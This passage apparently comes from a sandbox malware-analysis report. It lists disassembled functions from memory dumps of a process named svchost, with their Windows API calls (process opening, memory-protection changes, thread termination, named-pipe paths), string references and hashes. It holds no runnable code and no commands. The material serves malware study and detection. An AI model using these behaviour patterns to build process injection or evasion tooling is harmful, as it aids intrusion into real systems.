Part of subcall function 000002A66130D2A0: GetLastError.KERNEL32(?,?,?,?,?,?,?,000002A66130674A), ref: 000002A66130D2C0

SetLastError.KERNEL32 ref: 000002A66130C9DC

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: ErrorLast$Value$FreeHeap
String ID:
API String ID: 365477584-0
Opcode ID: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction ID: 7914e069732184c8871121057e80f01b9ca265f513d2dd47937bd77fb910ee0a
Opcode Fuzzy Hash: 2b4934949d3deca667ae4771e81ed1922e44bbeb7fb5f4fb09c3a9f1576f5646
Instruction Fuzzy Hash: BC112E25F1024043FA586B31685E76E22DEAB87FA2F5C4624A867773C6DF2CC4094396

Function 000002A661301A30 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000002A661301A56
K32GetModuleFileNameExW.KERNEL32 ref: 000002A661301A74
PathFindFileNameW.SHLWAPI ref: 000002A661301A83
lstrlenW.KERNEL32 ref: 000002A661301A8F
StrCpyW.SHLWAPI ref: 000002A661301AA2
CloseHandle.KERNEL32 ref: 000002A661301AB0

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction ID: 506df8d917f2bc76aafa583f77b387a4aae76c161c2f169f50604e846a94c7eb
Opcode Fuzzy Hash: 3678c02db6aac465212181e8004412cbf2c2ed21259821feedd311f468bba618
Instruction Fuzzy Hash: CF011731B14A8087EA14DB52A89C35963A9FB8AFC5F8840359E9E53B54DF3CC989C781

Function 000002A661303E14 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000002A661303AAC), ref: 000002A661303E30
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002A661303AAC), ref: 000002A661303E3E
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002A661303AAC), ref: 000002A661303E60
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002A661303AAC), ref: 000002A661303E7E
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002A661303AAC), ref: 000002A661303E9F
TerminateThread.KERNEL32(?,?,?,?,?,000002A661303AAC), ref: 000002A661303EAE

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction ID: 9b70d1ecbf1139e5dff184a89166bf11fbe9f0091192ee896d3ba2c320ab6499
Opcode Fuzzy Hash: cded63a883f53769b64ee8603978d746ac0fde6b870154241cf5f6bb9e490f61
Instruction Fuzzy Hash: 4D011765B11B4087EB249B61E84D71A72A8AB4BF46F080028CA4E273A4EF3DC54CC782

Function 000002A661308090 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000002A6613080BC
GetCurrentThreadId.KERNEL32 ref: 000002A6613080CA
GetCurrentProcessId.KERNEL32 ref: 000002A6613080D6
QueryPerformanceCounter.KERNEL32 ref: 000002A6613080E6

Strings

_$6Z, xrefs: 000002A66130809D

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID: _$6Z
API String ID: 2933794660-452956228
Opcode ID: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction ID: 09d662e5f67425faa2426f8c002c97408ee2dad5bf4657b9bd0cc106bfb4ecef
Opcode Fuzzy Hash: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction Fuzzy Hash: 50115A26B10F048AFB00DF60E85D3A833A4F71AB58F440E21DA5E97754DF7CC1588341

Function 000002A661301AD4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000002A661301AF4
StrCmpNIW.SHLWAPI ref: 000002A661301B0E
lstrlenW.KERNEL32 ref: 000002A661301B1D
StrCpyW.SHLWAPI ref: 000002A661301B32

Strings

\\?\, xrefs: 000002A661301B02

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction ID: 04f708c2cc00568c8c93436304c1e2414141781b11ab3e3701c71d244ff32fbf
Opcode Fuzzy Hash: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction Fuzzy Hash: 29F04F72B04A8593EB208B61F5CC3597375F746F89F8C4021DA4A57954DF6CC69DCB01

Function 000002A661303708 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,00000000,000002A66130275A), ref: 000002A66130372A
StrCpyW.SHLWAPI ref: 000002A66130373A
StrCatW.SHLWAPI ref: 000002A661303746
PathCombineW.SHLWAPI(?,?,00000000,000002A66130275A), ref: 000002A661303754

Strings

\\.\pipe\, xrefs: 000002A661303720

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction ID: c36395cbba2f7c9cab4dbe5683d5b26fd9f757fb1dbd079cfaaeac44d0e0afa6
Opcode Fuzzy Hash: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction Fuzzy Hash: D9F08C64B04B8083EA048B13B91D219B269BB4AFC1F8C8430EE4B27B18CF6CC4498701

Function 000002A66130B904 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002A66130B929
GetProcAddress.KERNEL32 ref: 000002A66130B93F
FreeLibrary.KERNEL32 ref: 000002A66130B95B

Strings

CorExitProcess, xrefs: 000002A66130B938
mscoree.dll, xrefs: 000002A66130B920

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction ID: 70ab6fa0bba61b1abcbd251998a6a3394bebcc369c9fa9f57e40477172e4f5eb
Opcode Fuzzy Hash: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction Fuzzy Hash: 63F09661B0060143EA108B54985E3593368EB47F61F5C0619DA6B6B5E4CF2CC44CC341

Function 000002A661305810 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002A661305896

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d921e495b5ff86d0954fcd723af1d701a904b7c821d12a86b124da1c2f3dacd7
Instruction ID: 7f00b171df67a85d5c29ec87981b708a1dced5486be2c891d81cff1721883d8f
Opcode Fuzzy Hash: d921e495b5ff86d0954fcd723af1d701a904b7c821d12a86b124da1c2f3dacd7
Instruction Fuzzy Hash: F9020B32619B8486EB60CB05F49835AB7E4F3C6B95F140015EACE97BA8DF7CC488CB41

Function 000002A661302C80 Relevance: 7.6, APIs: 6, Instructions: 131COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 000002A661302CAD
TlsGetValue.KERNEL32 ref: 000002A661302CBC
TlsGetValue.KERNEL32 ref: 000002A661302CCB
TlsSetValue.KERNEL32 ref: 000002A661302E0F
TlsSetValue.KERNEL32 ref: 000002A661302E1E
TlsSetValue.KERNEL32 ref: 000002A661302E2D

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction ID: d9d923407056e679629dfec41f53747ac3185b939386cc03978ddc61ea24e902
Opcode Fuzzy Hash: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction Fuzzy Hash: DF51CE35B046018BE724CB26A54CA5AB3E8F38AF81F584029DE5B63B54DF3DC909CB81

Function 000002A661302AB4 Relevance: 7.6, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 000002A661302AE1
TlsGetValue.KERNEL32 ref: 000002A661302AF0
TlsGetValue.KERNEL32 ref: 000002A661302AFF
TlsSetValue.KERNEL32 ref: 000002A661302C3B
TlsSetValue.KERNEL32 ref: 000002A661302C4A
TlsSetValue.KERNEL32 ref: 000002A661302C59

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction ID: b97430315ecd66362444c0c209b691b70b1b441293f497608c0ab2486a684d2f
Opcode Fuzzy Hash: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction Fuzzy Hash: C051A136B14A1187EB24DF26A54CA1A73E8F38AF85F484119DD4B63754DF3DC849CB81

Function 000002A661305E50 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002A661305E66

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: f9fafa43fcee67a3a7710958ae0696c6d862f57b4097daa19824d4405277cc21
Instruction ID: d5d08af27fbf266ffb0255115ca435791e015f7d87f3644beaa2d82d73452d82
Opcode Fuzzy Hash: f9fafa43fcee67a3a7710958ae0696c6d862f57b4097daa19824d4405277cc21
Instruction Fuzzy Hash: E161DC32A29A84C7E760CB15E45C31AB7E8F389B45F140115FA8E93BA8DF7CC548CB42

Function 000002A661303EC8 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000002A661303A5B), ref: 000002A661303EDB
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002A661303A5B), ref: 000002A661303F0E
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002A661303A5B), ref: 000002A661303F2E
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002A661303A5B), ref: 000002A661303F47
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002A661303A5B), ref: 000002A661303F68

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction ID: 24ef5facc02a821d60bac293c2cdd008fd7ac67383188b3ff3d8a6e4898980ff
Opcode Fuzzy Hash: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction Fuzzy Hash: 56112E26B0574097EB24CB61E40C61A77B8FB46F85F08012ADA8E13794EF7DC958C785

Function 000002A661308CA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A661308CCB
_IsNonwritableInCurrentImage.LIBCMT ref: 000002A661308D62
RtlUnwindEx.NTDLL ref: 000002A661308DBC

Strings

csm, xrefs: 000002A661308D49

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction ID: 0dbb33636f4aa29481ef908d38fbb0c69ffa5213cfb07c33621622ef40c5ca79
Opcode Fuzzy Hash: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction Fuzzy Hash: B151BB32F116008BEB54CB15E04CB6977DAE356F99F188260EA8B67788DF7CC849D781

Function 000002A6612D9EAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A6612D9ED4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002A6612D9FBC

Strings

csm, xrefs: 000002A6612DA00E
csm, xrefs: 000002A6612D9EF6

Memory Dump Source

Source File: 0000000B.00000003.2183186665.000002A6612D0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_2a6612d0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction ID: a53e6054c238db8a0a468d1f03734e917ee5925ff3720cd49feaeebe880c173b
Opcode Fuzzy Hash: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction Fuzzy Hash: 07515932F042808BEB648B21D54C75877ACEB56F95F1C8116EA9947BA5CF3CC4A8CB42

Function 000002A66130A6FC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000002A66130A75B
_CallSETranslator.LIBVCRUNTIME ref: 000002A66130A7A7

Strings

RCC, xrefs: 000002A66130A777
MOC, xrefs: 000002A66130A76F

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction ID: 2bfff28e4bdb93d1066c74441c78e34621d0fb67657b1dd7a2dab7df0fb74e7f
Opcode Fuzzy Hash: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction Fuzzy Hash: 7E61B532A04BC482DB608F15F44879AB7E4F786B95F084215EBCA27B65DF3CC194CB41

Function 000002A66130AAAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A66130AAD4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002A66130ABBC

Strings

csm, xrefs: 000002A66130AC0E
csm, xrefs: 000002A66130AAF6

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction ID: e3a5e97954f67e6a1c8d0c8f3c508dd41d5073ae2f560c16e384641fd02a6191
Opcode Fuzzy Hash: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction Fuzzy Hash: 61516D32B006808BEB748F15A54C35877E9F356F96F194116DA8BA7BA5CF3CC458C782

Function 000002A661312660 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002A661312778
GetLastError.KERNEL32 ref: 000002A66131279D

Strings

_$6Z, xrefs: 000002A66131267F
U, xrefs: 000002A661312722

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U$_$6Z
API String ID: 442123175-928044984
Opcode ID: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction ID: 3c18a2099e6c7607a8c850b194b1febbd0db2b2db086b31b6252ac2fd1ae9116
Opcode Fuzzy Hash: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction Fuzzy Hash: 7E411932B25A8087EB10DF65E40D79AB7A8F34AB94F584121EE4E97794EF7CC409C741

Function 000002A661303950 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 000002A661303972
StrStrW.SHLWAPI ref: 000002A661303990
StrToIntW.SHLWAPI ref: 000002A6613039B7

Part of subcall function 000002A661301A30: OpenProcess.KERNEL32 ref: 000002A661301A56
Part of subcall function 000002A661301A30: K32GetModuleFileNameExW.KERNEL32 ref: 000002A661301A74
Part of subcall function 000002A661301A30: PathFindFileNameW.SHLWAPI ref: 000002A661301A83
Part of subcall function 000002A661301A30: lstrlenW.KERNEL32 ref: 000002A661301A8F
Part of subcall function 000002A661301A30: StrCpyW.SHLWAPI ref: 000002A661301AA2
Part of subcall function 000002A661301A30: CloseHandle.KERNEL32 ref: 000002A661301AB0

Part of subcall function 000002A661303F88: StrCmpNIW.KERNELBASE(?,?,?,000002A66130272F), ref: 000002A661303FA0

Strings

pid_, xrefs: 000002A661303968

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

